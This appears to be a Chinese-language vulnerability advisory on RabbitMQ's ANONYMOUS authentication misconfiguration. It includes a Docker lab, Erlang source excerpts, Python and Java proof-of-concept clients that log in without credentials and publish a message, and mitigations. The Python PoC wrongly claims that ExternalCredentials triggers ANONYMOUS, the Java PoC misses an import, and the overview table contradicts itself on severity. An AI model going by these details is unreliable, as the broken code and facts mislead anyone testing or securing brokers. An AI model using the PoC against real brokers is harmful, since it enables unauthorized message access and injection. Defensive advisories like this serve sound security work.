一、漏洞简介

1.1 漏洞背景

RabbitMQ 支持多种认证机制,包括 PLAIN、AMQPLAIN、ANONYMOUS 和 EXTERNAL 等。其中 ANONYMOUS 机制允许客户端在不提供任何凭据的情况下连接到服务器,这在某些测试场景下可能有用,但在生产环境中会造成严重的安全风险。

当 ANONYMOUS 认证机制被启用且配置不当时,攻击者可以在不经过任何身份验证的情况下访问 RabbitMQ 服务,读取和发送消息。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 暂无统一编号
危害等级 暂未找到权威信息
漏洞类型 未授权访问漏洞
披露时间 暂未找到权威信息
影响组件 RabbitMQ 安全
属性 描述
CVE 编号 无特定 CVE(配置缺陷)
危害等级 严重
CVSS 评分 9.0-10.0(视具体配置而定)
漏洞类型 未授权访问/认证绕过

危害说明: - 攻击者无需任何凭据即可访问消息队列 - 可完全控制消息的发布和消费 - 可能导致敏感数据泄露 - 可进行消息注入攻击

核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。

二、影响范围

2.1 受影响的版本

所有 RabbitMQ 版本,当启用 ANONYMOUS 认证机制时受影响。

2.2 不受影响的版本

默认配置下,虽然 ANONYMOUS 机制在服务器端启用,但默认的匿名用户凭据(anonymous_login_useranonymous_login_pass)设置为 guest,意味着匿名连接仍会以 guest 身份运行。

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. ANONYMOUS 认证机制已启用(默认启用)
  2. 匿名登录配置不当anonymous_login_useranonymous_login_pass 配置为空或弱凭据
  3. 网络可达性:攻击者能够访问 RabbitMQ 服务端口(5672 等)

默认认证机制配置:

# rabbitmq.conf 默认配置
auth_mechanisms.1 = PLAIN
auth_mechanisms.2 = AMQPLAIN
auth_mechanisms.3 = ANONYMOUS

三、漏洞详情与原理解析

3.1 漏洞触发机制

  1. 客户端发起连接:攻击者建立到 RabbitMQ 的 TCP 连接
  2. 协商认证机制:服务器返回支持的认证机制列表,包含 ANONYMOUS
  3. 选择 ANONYMOUS:客户端选择 ANONYMOUS 机制
  4. 匿名登录:服务器使用预配置的匿名用户凭据进行身份映射
  5. 授权操作:匿名用户获得配置的权限,可能包括完整的读写权限

攻击流程:

攻击者扫描 RabbitMQ 端口
  ↓
建立 AMQP 连接
  ↓
选择 ANONYMOUS 认证机制
  ↓
以匿名用户身份登录
  ↓
根据配置权限进行消息操作

3.2 源码层面的根因分析(结合源码与补丁对比)

认证机制协商(简化示意):

%% rabbit_auth_mechanism.erl
%% 支持的认证机制列表

supported_mechanisms() ->
    [
        rabbit_auth_mechanism_plain,      % PLAIN 机制
        rabbit_auth_mechanism_amqplain,   % AMQPLAIN 机制
        rabbit_auth_mechanism_anonymous   % ANONYMOUS 机制
    ].

ANONYMOUS 认证实现:

%% rabbit_auth_mechanism_anonymous.erl(简化)

-module(rabbit_auth_mechanism_anonymous).

-behaviour(rabbit_auth_mechanism).

%% 认证流程
auth(_Socket, _Protocol, _Data) ->
    %% 获取预配置的匿名用户凭据
    User = get_env(anonymous_login_user, <<"guest">>),
    Pass = get_env(anonymous_login_pass, <<"guest">>),

    %% 使用这些凭据进行内部认证
    case rabbit_access_control:check_user_pass(User, Pass) of
        {ok, UserRecord} -> {ok, UserRecord};
        {refused, _} -> {refused, "Anonymous login failed"}
    end.

问题根源: 1. ANONYMOUS 机制默认启用 2. 匿名用户默认映射到 guest 账户 3. 如果 guest 拥有高权限,匿名连接将继承这些权限

四、漏洞复现(可选)

4.1 环境搭建

# Docker 环境搭建
docker run -d --name rabbitmq-anon \
    -p 5672:5672 \
    -p 15672:15672 \
    -e RABBITMQ_ANONYMOUS_LOGIN_USER= \
    -e RABBITMQ_ANONYMOUS_LOGIN_PASS= \
    rabbitmq:3-management

4.2 PoC 演示与测试过程

方法一:Python 客户端测试

#!/usr/bin/env python3
import pika

# 配置使用 ANONYMOUS 认证机制
parameters = pika.ConnectionParameters(
    host='localhost',
    port=5672,
    credentials=pika.credentials.ExternalCredentials()  # 触发 ANONYMOUS
)

try:
    connection = pika.BlockingConnection(parameters)
    channel = connection.channel()

    print("[!] 成功使用 ANONYMOUS 机制连接!")

    # 创建测试队列
    channel.queue_declare(queue='test-queue')

    # 发布消息
    channel.basic_publish(
        exchange='',
        routing_key='test-queue',
        body='Unauthorized message!'
    )
    print("[!] 消息发布成功 - 存在未授权访问!")

    connection.close()
except Exception as e:
    print(f"[-] 连接失败: {e}")

方法二:Java 客户端测试

import com.rabbitmq.client.ConnectionFactory;
import com.rabbitmq.client.Connection;

public class AnonymousAuthTest {
    public static void main(String[] args) {
        ConnectionFactory factory = new ConnectionFactory();
        factory.setHost("localhost");
        factory.setPort(5672);

        // 使用 ANONYMOUS 认证
        factory.setSaslConfig(DefaultSaslConfig.ANONYMOUS);

        try {
            Connection connection = factory.newConnection();
            System.out.println("[!] ANONYMOUS 认证成功!");
            connection.close();
        } catch (Exception e) {
            System.out.println("[-] 认证失败: " + e.getMessage());
        }
    }
}

方法三:使用 rabbitmqctl 检查配置

# 检查当前认证机制配置
rabbitmqctl environment | grep auth_mechanisms

# 检查匿名登录配置
rabbitmqctl environment | grep anonymous

五、修复建议与缓解措施

5.1 官方版本升级建议

保持使用最新版本,并根据官方安全指南配置。

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:禁用 ANONYMOUS 认证机制

rabbitmq.conf 中配置:

# 只启用 PLAIN 认证机制,禁用 ANONYMOUS
auth_mechanisms.1 = PLAIN

# 或者更严格地,只允许 TLS 证书认证
auth_mechanisms.1 = EXTERNAL

方案二:配置匿名用户权限为空

# 设置匿名用户为无权限账户
anonymous_login_user = anonymous
anonymous_login_pass = disabled

# 然后创建 anonymous 用户并设置空权限
# rabbitmqctl add_user anonymous disabled
# rabbitmqctl set_permissions -p / anonymous "^$" "^$" "^$"

方案三:使用 TLS 客户端证书认证

# 启用 TLS
listeners.ssl.default = 5671
ssl_options.cacertfile = /path/to/ca_certificate.pem
ssl_options.certfile = /path/to/server_certificate.pem
ssl_options.keyfile = /path/to/server_key.pem
ssl_options.verify = verify_peer
ssl_options.fail_if_no_peer_cert = true

# 启用 EXTERNAL 认证
auth_mechanisms.1 = EXTERNAL

方案四:网络隔离

# 限制 AMQP 端口仅允许受信任网络访问
iptables -A INPUT -p tcp --dport 5672 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 5672 -j DROP

六、参考信息 / 参考链接

6.1 官方安全通告

  • RabbitMQ Authentication Mechanisms 文档:https://www.rabbitmq.com/docs/access-control#mechanisms
  • RabbitMQ Deployment Guidelines:https://www.rabbitmq.com/docs/production-checklist#anonymous-login

6.2 其他技术参考资料

  • AMQP 0-9-1 规范 - SASL 认证
  • RabbitMQ Security Advisory Archive